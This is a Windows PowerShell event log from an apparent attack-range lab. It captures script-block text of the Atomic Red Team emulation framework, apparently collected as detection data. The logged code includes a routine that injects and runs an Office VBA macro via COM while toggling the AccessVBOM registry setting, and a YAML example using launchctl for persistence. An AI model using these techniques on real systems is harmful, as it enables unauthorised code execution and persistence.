$doc = $app.Workbooks.Add()
}
$comp = $doc.VBProject.VBComponents.Add(1)
$comp.CodeModule.AddFromString($macroCode)
$app.Run($sub)
$doc.Close(0)
$app.Quit()
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($comp) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($doc) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($app) | Out-Null
[System.GC]::Collect()
[System.GC]::WaitForPendingFinalizers()
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$officeVersion\$officeProduct\Security\" -Name 'AccessVBOM' -ErrorAction Ignore
}
ScriptBlock ID: 4d56c70a-95bf-4a2b-9476-06e933a64139
Path: C:\AtomicRedTeam\invoke-atomicredteam\Public\Invoke-MalDoc.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 496c2724-d558-422b-a7d7-bc6c9cbe9f47
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467176
Keywords=None
Message=Started invocation of ScriptBlock ID: 496c2724-d558-422b-a7d7-bc6c9cbe9f47
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467175
Keywords=None
Message=Creating Scriptblock text (1 of 1):
<#
.SYNOPSIS
Invokes specified Atomic test(s)
.DESCRIPTION
Invokes specified Atomic tests(s). Optionally, you can specify if you want to list the details of the Atomic test(s) only.
.EXAMPLE Check if Prerequisites for Atomic Test are met
PS/> Invoke-AtomicTest T1117 -CheckPrereqs
.EXAMPLE Invokes Atomic Test
PS/> Invoke-AtomicTest T1117
.EXAMPLE Run the Cleanup Commmand for the given Atomic Test
PS/> Invoke-AtomicTest T1117 -Cleanup
.EXAMPLE Generate Atomic Test (Output Test Definition Details)
PS/> Invoke-AtomicTest T1117 -ShowDetails
.EXAMPLE Invoke a test and flow the standard/error output to the console
PS/> Invoke-AtomicTest T1117 -Interactive
.EXAMPLE Invoke a test and keep standard/error output files for later processing. This edge case has specific requirements. See https://github.com/redcanaryco/invoke-atomicredteam/issues/60
PS/> Invoke-AtomicTest T1117 -KeepStdOutStdErrFiles
.NOTES
Create Atomic Tests from yaml files described in Atomic Red Team. https://github.com/redcanaryco/atomic-red-team/tree/master/atomics
.LINK
Installation and Usage Wiki: https://github.com/redcanaryco/invoke-atomicredteam/wiki
Github repo: https://github.com/redcanaryco/invoke-atomicredteam
#>
function Invoke-AtomicTest {
[CmdletBinding(DefaultParameterSetName = 'technique',
SupportsShouldProcess = $true,
PositionalBinding = $false,
ConfirmImpact = 'Medium')]
Param(
[Parameter(Mandatory = $true,
Position = 0,
ValueFromPipelineByPropertyName = $true,
ParameterSetName = 'technique')]
[ValidateNotNullOrEmpty()]
[String]
$AtomicTechnique,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
ParameterSetName = 'technique')]
[switch]
$ShowDetails,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
ParameterSetName = 'technique')]
[switch]
$ShowDetailsBrief,
[Parameter(Mandatory = $false,
ParameterSetName = 'technique')]
[String[]]
$TestNumbers,
[Parameter(Mandatory = $false,
ParameterSetName = 'technique')]
[String[]]
$TestNames,
[Parameter(Mandatory = $false,
ParameterSetName = 'technique')]
[String[]]
$TestGuids,
[Parameter(Mandatory = $false,
ParameterSetName = 'technique')]
[String]
$PathToAtomicsFolder = $( if ($IsLinux -or $IsMacOS) { $Env:HOME + "/AtomicRedTeam/atomics" } else { $env:HOMEDRIVE + "\AtomicRedTeam\atomics" }),
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
ParameterSetName = 'technique')]
[switch]
$CheckPrereqs = $false,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
ParameterSetName = 'technique')]
[switch]
$PromptForInputArgs = $false,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
ParameterSetName = 'technique')]
[switch]
$GetPrereqs = $false,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
ParameterSetName = 'technique')]
[switch]
$Cleanup = $false,
[Parameter(Mandatory = $false,
ParameterSetName = 'technique')]
[switch]
$NoExecutionLog = $false,
[Parameter(Mandatory = $false,
ParameterSetName = 'technique')]
[String]
$ExecutionLogPath = $( if ($IsLinux -or $IsMacOS) { "/tmp/Invoke-AtomicTest-ExecutionLog.csv" } else { "$env:TEMP\Invoke-AtomicTest-ExecutionLog.csv" }),
[Parameter(Mandatory = $false,
ParameterSetName = 'technique')]
[switch]
$Force,
[Parameter(Mandatory = $false,
ParameterSetName = 'technique')]
[HashTable]
$InputArgs,
[Parameter(Mandatory = $false,
ParameterSetName = 'technique')]
[Int]
$TimeoutSeconds = 120,
[Parameter(Mandatory = $false, ParameterSetName = 'technique')]
[System.Management.Automation.Runspaces.PSSession[]]$Session,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
ParameterSetName = 'technique')]
[switch]
$Interactive = $false,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
ParameterSetName = 'technique')]
[switch]
$KeepStdOutStdErrFiles = $false
)
BEGIN { } # Intentionally left blank and can be removed
PROCESS {
$PathToAtomicsFolder = (Resolve-Path $PathToAtomicsFolder).Path
Write-Verbose -Message 'Attempting to run Atomic Techniques'
Write-Host -ForegroundColor Cyan "PathToAtomicsFolder = $PathToAtomicsFolder`n"
$targetPlatform, $isElevated, $tmpDir, $targetHostname, $targetUser = Get-TargetInfo $Session
$PathToPayloads = if ($Session) { "$tmpDir`AtomicRedTeam" } else { $PathToAtomicsFolder }
function Invoke-AtomicTestSingle ($AT) {
$AT = $AT.ToUpper()
$pathToYaml = Join-Path $PathToAtomicsFolder "\$AT\$AT.yaml"
if (Test-Path -Path $pathToYaml) { $AtomicTechniqueHash = Get-AtomicTechnique -Path $pathToYaml }
else {
Write-Host -Fore Red "ERROR: $PathToYaml does not exist`nCheck your Atomic Number and your PathToAtomicsFolder parameter"
return
}
$techniqueCount = 0
foreach ($technique in $AtomicTechniqueHash) {
$techniqueCount++
$props = @{
Activity = "Running $($technique.display_name.ToString()) Technique"
Status = 'Progress:'
PercentComplete = ($techniqueCount / ($AtomicTechniqueHash).Count * 100)
}
Write-Progress @props
Write-Debug -Message "Gathering tests for Technique $technique"
$testCount = 0
foreach ($test in $technique.atomic_tests) {
Write-Verbose -Message 'Determining tests for target operating system'
$testCount++
if (-Not $test.supported_platforms.Contains($targetPlatform)) {
Write-Verbose -Message "Unable to run non-$targetPlatform tests"
continue
}
if ($null -ne $TestNumbers) {
if (-Not ($TestNumbers -contains $testCount) ) { continue }
}
if ($null -ne $TestNames) {
if (-Not ($TestNames -contains $test.name) ) { continue }
}
if ($null -ne $TestGuids) {
if (-Not ($TestGuids -contains $test.auto_generated_guid) ) { continue }
}
$props = @{
Activity = 'Running Atomic Tests'
Status = 'Progress:'
PercentComplete = ($testCount / ($technique.atomic_tests).Count * 100)
}
Write-Progress @props
Write-Verbose -Message 'Determining manual tests'
if ($test.executor.name.Contains('manual')) {
Write-Verbose -Message 'Unable to run manual tests'
continue
}
$testId = "$AT-$testCount $($test.name)"
if ($ShowDetailsBrief) {
Write-KeyValue $testId
continue
}
if ($PromptForInputArgs) {
$InputArgs = Invoke-PromptForInputArgs $test.input_arguments
}
if ($ShowDetails) {
Show-Details $test $testCount $technique $InputArgs $PathToPayloads
continue
}
Write-Debug -Message 'Gathering final Atomic test command'
if ($CheckPrereqs) {
Write-KeyValue "CheckPrereq's for: " $testId
$failureReasons = Invoke-CheckPrereqs $test $isElevated $InputArgs $PathToPayloads $TimeoutSeconds $session
Write-PrereqResults $FailureReasons $testId
}
elseif ($GetPrereqs) {
Write-KeyValue "GetPrereq's for: " $testId
if ( $test.executor.elevation_required -and -not $isElevated) {
Write-Host -ForegroundColor Red "Elevation required but not provided"
}
if ($nul -eq $test.dependencies) { Write-KeyValue "No Preqs Defined"; continue }
foreach ($dep in $test.dependencies) {
$executor = Get-PrereqExecutor $test
$description = (Merge-InputArgs $dep.description $test $InputArgs $PathToPayloads).trim()
Write-KeyValue "Attempting to satisfy prereq: " $description
$final_command_prereq = Merge-InputArgs $dep.prereq_command $test $InputArgs $PathToPayloads
if ($executor -ne "powershell") { $final_command_prereq = ($final_command_prereq.trim()).Replace("`n", " && ") }
$final_command_get_prereq = Merge-InputArgs $dep.get_prereq_command $test $InputArgs $PathToPayloads
$res = Invoke-ExecuteCommand $final_command_prereq $executor $TimeoutSeconds $session -Interactive:$true
if ($res -eq 0) {
Write-KeyValue "Prereq already met: " $description
}
else {
$res = Invoke-ExecuteCommand $final_command_get_prereq $executor $TimeoutSeconds $session -Interactive:$Interactive
$res = Invoke-ExecuteCommand $final_command_prereq $executor $TimeoutSeconds $session -Interactive:$true
if ($res -eq 0) {
Write-KeyValue "Prereq successfully met: " $description
}
else {
Write-Host -ForegroundColor Red "Failed to meet prereq: $description"
}
}
}
}
elseif ($Cleanup) {
Write-KeyValue "Executing cleanup for test: " $testId
$final_command = Merge-InputArgs $test.executor.cleanup_command $test $InputArgs $PathToPayloads
$res = Invoke-ExecuteCommand $final_command $test.executor.name $TimeoutSeconds $session -Interactive:$Interactive
Write-KeyValue "Done executing cleanup for test: " $testId
}
else {
Write-KeyValue "Executing test: " $testId
$startTime = get-date
$final_command = Merge-InputArgs $test.executor.command $test $InputArgs $PathToPayloads
$res = Invoke-ExecuteCommand $final_command $test.executor.name $TimeoutSeconds $session -Interactive:$Interactive
Write-ExecutionLog $startTime $AT $testCount $test.name $ExecutionLogPath $targetHostname $targetUser $test.auto_generated_guid
Write-KeyValue "Done executing test: " $testId
}
if ($session) {
write-output (Invoke-Command -Session $session -scriptblock { (Get-Content $($Using:tmpDir + "art-out.txt")) -replace '\x00', ''; (Get-Content $($Using:tmpDir + "art-err.txt")) -replace '\x00', ''; if(-not $KeepStdOutStdErrFiles) { Remove-Item $($Using:tmpDir + "art-out.txt"), $($Using:tmpDir + "art-err.txt") -Force -ErrorAction Ignore }})
}
elseif (-not $interactive) {
# It is possible to have a null $session BUT also have stdout and stderr captured from
# the executed command. IF so then write the output to the pipe and cleanup the files.
$stdoutFilename = $tmpDir + "art-out.txt"
if (Test-Path $stdoutFilename -PathType leaf) {
Write-Output ((Get-Content $stdoutFilename) -replace '\x00', '')
if(-not $KeepStdOutStdErrFiles) {
Remove-Item $stdoutFilename
}
}
$stderrFilename = $tmpDir + "art-err.txt"
if (Test-Path $stderrFilename -PathType leaf) {
Write-Output ((Get-Content $stderrFilename) -replace '\x00', '')
if(-not $KeepStdOutStdErrFiles) {
Remove-Item $stderrFilename
}
}
}
} # End of foreach Test in single Atomic Technique
} # End of foreach Technique in Atomic Tests
} # End of Invoke-AtomicTestSingle function
if ($AtomicTechnique -eq "All") {
function Invoke-AllTests() {
$AllAtomicTests = New-Object System.Collections.ArrayList
Get-ChildItem $PathToAtomicsFolder -Directory -Filter T* | ForEach-Object {
$currentTechnique = [System.IO.Path]::GetFileName($_.FullName)
if ( $currentTechnique -match "T[0-9]{4}.?([0-9]{3})?" ) { $AllAtomicTests.Add($currentTechnique) | Out-Null }
}
$AllAtomicTests.GetEnumerator() | Foreach-Object { Invoke-AtomicTestSingle $_ }
}
if ( ($Force -or $CheckPrereqs -or $ShowDetails -or $ShowDetailsBrief -or $GetPrereqs) -or $psCmdlet.ShouldContinue( 'Do you wish to execute all tests?',
"Highway to the danger zone, Executing All Atomic Tests!" ) ) {
Invoke-AllTests
}
}
else {
Invoke-AtomicTestSingle $AtomicTechnique
}
} # End of PROCESS block
END { } # Intentionally left blank and can be removed
}
ScriptBlock ID: 496c2724-d558-422b-a7d7-bc6c9cbe9f47
Path: C:\AtomicRedTeam\invoke-atomicredteam\Public\Invoke-AtomicTest.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467174
Keywords=None
Message=Completed invocation of ScriptBlock ID: 871882b4-86e5-4a1a-85c3-493facc5b9d9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467173
Keywords=None
Message=Started invocation of ScriptBlock ID: 871882b4-86e5-4a1a-85c3-493facc5b9d9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467172
Keywords=None
Message=Creating Scriptblock text (2 of 2):
arguments' must be a hashtable."
return
}
if (-not ($AtomicTest['input_arguments'].Count)) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].input_arguments' must have at least one entry."
return
}
$InputArguments = @{}
$j = 0
foreach ($InputArgName in $AtomicTest['input_arguments'].Keys) {
$InputArgument = [AtomicInputArgument]::new()
if (-not $AtomicTest['input_arguments'][$InputArgName].ContainsKey('description')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].input_arguments['$InputArgName'].description' element is required."
return
}
if (-not ($AtomicTest['input_arguments'][$InputArgName]['description'] -is [String])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].input_arguments['$InputArgName'].description' element must be a string."
return
}
$InputArgument.description = $AtomicTest['input_arguments'][$InputArgName]['description']
if (-not $AtomicTest['input_arguments'][$InputArgName].ContainsKey('type')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].input_arguments['$InputArgName'].type' element is required."
return
}
if ($ValidInputArgTypes -notcontains $AtomicTest['input_arguments'][$InputArgName]['type']) {
Write-Warning "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].input_arguments['$InputArgName'].type': '$($AtomicTest['input_arguments'][$InputArgName]['type'])' should be one of the following: $($ValidInputArgTypes -join ', ')"
}
$InputArgument.type = $AtomicTest['input_arguments'][$InputArgName]['type']
if (-not $AtomicTest['input_arguments'][$InputArgName].ContainsKey('default')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].input_arguments['$InputArgName'].default' element is required."
return
}
$InputArgument.default = $AtomicTest['input_arguments'][$InputArgName]['default']
$InputArguments[$InputArgName] = $InputArgument
$j++
}
}
$AtomicTestInstance.input_arguments = $InputArguments
if (-not $AtomicTest.ContainsKey('executor')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].executor' element is required."
return
}
if (-not ($AtomicTest['executor'] -is [Hashtable])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].executor' element must be a hashtable."
return
}
if (-not $AtomicTest['executor'].ContainsKey('name')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].executor.name' element is required."
return
}
if (-not ($AtomicTest['executor']['name'] -is [String])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].description.name' element must be a string."
return
}
if ($AtomicTest['executor']['name'] -notmatch '^(?-i:[a-z_]+)$') {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].description.name' element must be lowercased and underscored."
return
}
if ($ValidExecutorTypes -notcontains $AtomicTest['executor']['name']) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].description.name': '$($AtomicTest['executor']['name'])' must be one of the following: $($ValidExecutorTypes -join ', ')"
return
}
if ($AtomicTest['executor']['name'] -eq 'manual') {
if (-not $AtomicTest['executor'].ContainsKey('steps')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].executor.steps' element is required when the 'manual' executor is used."
return
}
if (-not ($AtomicTest['executor']['steps'] -is [String])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].executor.steps' element must be a string."
return
}
$ExecutorInstance = [AtomicExecutorManual]::new()
$ExecutorInstance.steps = $AtomicTest['executor']['steps']
$StringsWithPotentialInputArgs.Add($AtomicTest['executor']['steps'])
} else {
if (-not $AtomicTest['executor'].ContainsKey('command')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].executor.command' element is required when the '$($ValidExecutorTypes -join ', ')' executors are used."
return
}
if (-not ($AtomicTest['executor']['command'] -is [String])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].executor.command' element must be a string."
return
}
$ExecutorInstance = [AtomicExecutorDefault]::new()
$ExecutorInstance.command = $AtomicTest['executor']['command']
$StringsWithPotentialInputArgs.Add($AtomicTest['executor']['command'])
}
# cleanup_command element is optional
if ($AtomicTest['executor'].ContainsKey('cleanup_command')) {
$ExecutorInstance.cleanup_command = $AtomicTest['executor']['cleanup_command']
$StringsWithPotentialInputArgs.Add($AtomicTest['executor']['cleanup_command'])
}
# elevation_required element is optional
if ($AtomicTest['executor'].ContainsKey('elevation_required')) {
if (-not ($AtomicTest['executor']['elevation_required'] -is [Bool])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].executor.elevation_required' element must be a boolean."
return
}
$ExecutorInstance.elevation_required = $AtomicTest['executor']['elevation_required']
} else {
# if elevation_required is not present, default to false
$ExecutorInstance.elevation_required = $False
}
$InputArgumentNames = $null
# Get all input argument names
$InputArgumentNames = $InputArguments.Keys
# Extract all input arguments names from the executor
# Potential places where input arguments can be populated:
# - Dependency description
# - Dependency prereq_command
# - Dependency get_prereq_command
# - Executor steps
# - Executor command
# - Executor cleanup_command
$Regex = [Regex] '#\{(?[^}]+)\}'
[String[]] $InputArgumentNamesFromExecutor = $StringsWithPotentialInputArgs |
ForEach-Object { $Regex.Matches($_) } |
Select-Object -ExpandProperty Groups |
Where-Object { $_.Name -eq 'ArgName' } |
Select-Object -ExpandProperty Value |
Sort-Object -Unique
# Validate that all executor input arg names are defined input arg names.
if ($InputArgumentNamesFromExecutor.Count) {
$InputArgumentNamesFromExecutor | ForEach-Object {
if ($InputArgumentNames -notcontains $_) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] The following input argument was specified but is not defined: '$_'"
return
}
}
}
# Validate that all defined input args are utilized at least once in the executor.
if ($InputArgumentNames.Count) {
$InputArgumentNames | ForEach-Object {
if ($InputArgumentNamesFromExecutor -notcontains $_) {
# Write a warning since this scenario is not considered a breaking change
Write-Warning "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] The following input argument is defined but not utilized: '$_'."
}
}
}
$ExecutorInstance.name = $AtomicTest['executor']['name']
$AtomicTestInstance.executor = $ExecutorInstance
$AtomicTests[$i] = $AtomicTestInstance
}
$AtomicInstance.atomic_tests = $AtomicTests
$AtomicInstance
}
}
ScriptBlock ID: 871882b4-86e5-4a1a-85c3-493facc5b9d9
Path: C:\AtomicRedTeam\invoke-atomicredteam\Public\Get-AtomicTechnique.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467171
Keywords=None
Message=Creating Scriptblock text (1 of 2):
filter Get-AtomicTechnique {
<#
.SYNOPSIS
Retrieve and validate an atomic technique.
.DESCRIPTION
Get-AtomicTechnique retrieves and validates one or more atomic techniques. Get-AtomicTechnique supports retrieval from YAML files or from a raw YAML string.
This function facilitates the following use cases:
1) Validation prior to execution of atomic tests.
2) Writing code to reason over one or more atomic techniques/tests.
3) Representing atomic techniques/tests in a format that is more conducive to PowerShell. ConvertFrom-Yaml returns a large, complicated hashtable that is difficult to work with and reason over. Get-AtomicTechnique helps abstract those challenges away.
4) Representing atomic techniques/tests in a format that can be piped directly to ConvertTo-Yaml.
.PARAMETER Path
Specifies the path to an atomic technique YAML file. Get-AtomicTechnique expects that the file extension be .yaml or .yml and that it is well-formed YAML content.
.PARAMETER Yaml
Specifies a single string consisting of raw atomic technique YAML.
.EXAMPLE
Get-ChildItem -Path C:\atomic-red-team\atomics\* -Recurse -Include 'T*.yaml' | Get-AtomicTechnique
.EXAMPLE
Get-Item C:\atomic-red-team\atomics\T1117\T1117.yaml | Get-AtomicTechnique
.EXAMPLE
Get-AtomicTechnique -Path C:\atomic-red-team\atomics\T1117\T1117.yaml
.EXAMPLE
$Yaml = @'
---
attack_technique: T1152
display_name: Launchctl
atomic_tests:
- name: Launchctl
description: |
Utilize launchctl
supported_platforms:
- macos
executor:
name: sh
command: |
launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
'@
Get-AtomicTechnique -Yaml $Yaml
.INPUTS
System.IO.FileInfo
The output of Get-Item and Get-ChildItem can be piped directly into Get-AtomicTechnique.
.OUTPUTS
AtomicTechnique
Outputs an object representing a parsed and validated atomic technique.
#>
[CmdletBinding(DefaultParameterSetName = 'FilePath')]
[OutputType([AtomicTechnique])]
param (
[Parameter(Mandatory, ValueFromPipelineByPropertyName, ParameterSetName = 'FilePath')]
[String]
[Alias('FullName')]
[ValidateScript({ Test-Path -Path $_ -Include '*.yaml', '*.yml' })]
$Path,
[Parameter(Mandatory, ParameterSetName = 'Yaml')]
[String]
[ValidateNotNullOrEmpty()]
$Yaml
)
switch ($PSCmdlet.ParameterSetName) {
'FilePath' {
$ResolvedPath = Resolve-Path -Path $Path
$YamlContent = Get-Content -Path $ResolvedPath -Raw
$ErrorStringPrefix = "[$($ResolvedPath)]"
}
'Yaml' {
$YamlContent = $Yaml
$ErrorStringPrefix = ''
}
}
$ParsedYaml = $null
$ValidSupportedPlatforms = @('windows', 'macos', 'linux', 'office-365', 'azure-ad', 'google-workspace', 'saas', 'iaas', 'containers', 'iaas:aws', 'iaas:azure', 'iaas:gcp')
$ValidInputArgTypes = @('Path', 'Url', 'String', 'Integer', 'Float')
$ValidExecutorTypes = @('command_prompt', 'sh', 'bash', 'powershell', 'manual', 'aws', 'az', 'gcloud')
# ConvertFrom-Yaml will throw a .NET exception rather than a PowerShell error.
# Capture the exception and convert to PowerShell error so that the user can decide
# how to handle the error.
try {
[Hashtable] $ParsedYaml = ConvertFrom-Yaml -Yaml $YamlContent
} catch {
Write-Error $_
}
if ($ParsedYaml) {
# The document was well-formed YAML. Now, validate against the atomic red schema
$AtomicInstance = [AtomicTechnique]::new()
if (-not $ParsedYaml.Count) {
Write-Error "$ErrorStringPrefix YAML file has no elements."
return
}
if (-not $ParsedYaml.ContainsKey('attack_technique')) {
Write-Error "$ErrorStringPrefix 'attack_technique' element is required."
return
}
$AttackTechnique = $null
if ($ParsedYaml['attack_technique'].Count -gt 1) {
# An array of attack techniques are supported.
foreach ($Technique in $ParsedYaml['attack_technique']) {
if ("$Technique" -notmatch '^(?-i:T\d{4}(\.\d{3}){0,1})$') {
Write-Warning "$ErrorStringPrefix Attack technique: $Technique. Each attack technique should start with the letter 'T' followed by a four digit number."
}
[String[]] $AttackTechnique = $ParsedYaml['attack_technique']
}
} else {
if ((-not "$($ParsedYaml['attack_technique'])".StartsWith('T'))) {
# If the attack technique is a single entry, validate that it starts with the letter T.
Write-Warning "$ErrorStringPrefix Attack technique: $($ParsedYaml['attack_technique']). Attack techniques should start with the letter T."
}
[String] $AttackTechnique = $ParsedYaml['attack_technique']
}
$AtomicInstance.attack_technique = $AttackTechnique
if (-not $ParsedYaml.ContainsKey('display_name')) {
Write-Error "$ErrorStringPrefix 'display_name' element is required."
return
}
if (-not ($ParsedYaml['display_name'] -is [String])) {
Write-Error "$ErrorStringPrefix 'display_name' must be a string."
return
}
$AtomicInstance.display_name = $ParsedYaml['display_name']
if (-not $ParsedYaml.ContainsKey('atomic_tests')) {
Write-Error "$ErrorStringPrefix 'atomic_tests' element is required."
return
}
if (-not ($ParsedYaml['atomic_tests'] -is [System.Collections.Generic.List`1[Object]])) {
Write-Error "$ErrorStringPrefix 'atomic_tests' element must be an array."
return
}
$AtomicTests = [AtomicTest[]]::new($ParsedYaml['atomic_tests'].Count)
if (-not $ParsedYaml['atomic_tests'].Count) {
Write-Error "$ErrorStringPrefix 'atomic_tests' element is empty - you have no tests."
return
}
for ($i = 0; $i -lt $ParsedYaml['atomic_tests'].Count; $i++) {
$AtomicTest = $ParsedYaml['atomic_tests'][$i]
$AtomicTestInstance = [AtomicTest]::new()
$StringsWithPotentialInputArgs = New-Object -TypeName 'System.Collections.Generic.List`1[String]'
if (-not $AtomicTest.ContainsKey('name')) {
Write-Error "$ErrorStringPrefix 'atomic_tests[$i].name' element is required."
return
}
if (-not ($AtomicTest['name'] -is [String])) {
Write-Error "$ErrorStringPrefix 'atomic_tests[$i].name' element must be a string."
return
}
$AtomicTestInstance.name = $AtomicTest['name']
$AtomicTestInstance.auto_generated_guid = $AtomicTest['auto_generated_guid']
if (-not $AtomicTest.ContainsKey('description')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].description' element is required."
return
}
if (-not ($AtomicTest['description'] -is [String])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].description' element must be a string."
return
}
$AtomicTestInstance.description = $AtomicTest['description']
if (-not $AtomicTest.ContainsKey('supported_platforms')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].supported_platforms' element is required."
return
}
if (-not ($AtomicTest['supported_platforms'] -is [System.Collections.Generic.List`1[Object]])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].supported_platforms' element must be an array."
return
}
foreach ($SupportedPlatform in $AtomicTest['supported_platforms']) {
if ($ValidSupportedPlatforms -cnotcontains $SupportedPlatform) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].supported_platforms': '$SupportedPlatform' must be one of the following: $($ValidSupportedPlatforms -join ', ')."
return
}
}
$AtomicTestInstance.supported_platforms = $AtomicTest['supported_platforms']
$Dependencies = $null
if ($AtomicTest['dependencies'].Count) {
$Dependencies = [AtomicDependency[]]::new($AtomicTest['dependencies'].Count)
$j = 0
# dependencies are optional and there can be multiple
foreach ($Dependency in $AtomicTest['dependencies']) {
$DependencyInstance = [AtomicDependency]::new()
if (-not $Dependency.ContainsKey('description')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].dependencies[$j].description' element is required."
return
}
if (-not ($Dependency['description'] -is [String])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].dependencies[$j].description' element must be a string."
return
}
$DependencyInstance.description = $Dependency['description']
$StringsWithPotentialInputArgs.Add($Dependency['description'])
if (-not $Dependency.ContainsKey('prereq_command')) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].dependencies[$j].prereq_command' element is required."
return
}
if (-not ($Dependency['prereq_command'] -is [String])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].dependencies[$j].prereq_command' element must be a string."
return
}
$DependencyInstance.prereq_command = $Dependency['prereq_command']
$StringsWithPotentialInputArgs.Add($Dependency['prereq_command'])
if (-not $Dependency.ContainsKey('get_prereq_command')) {
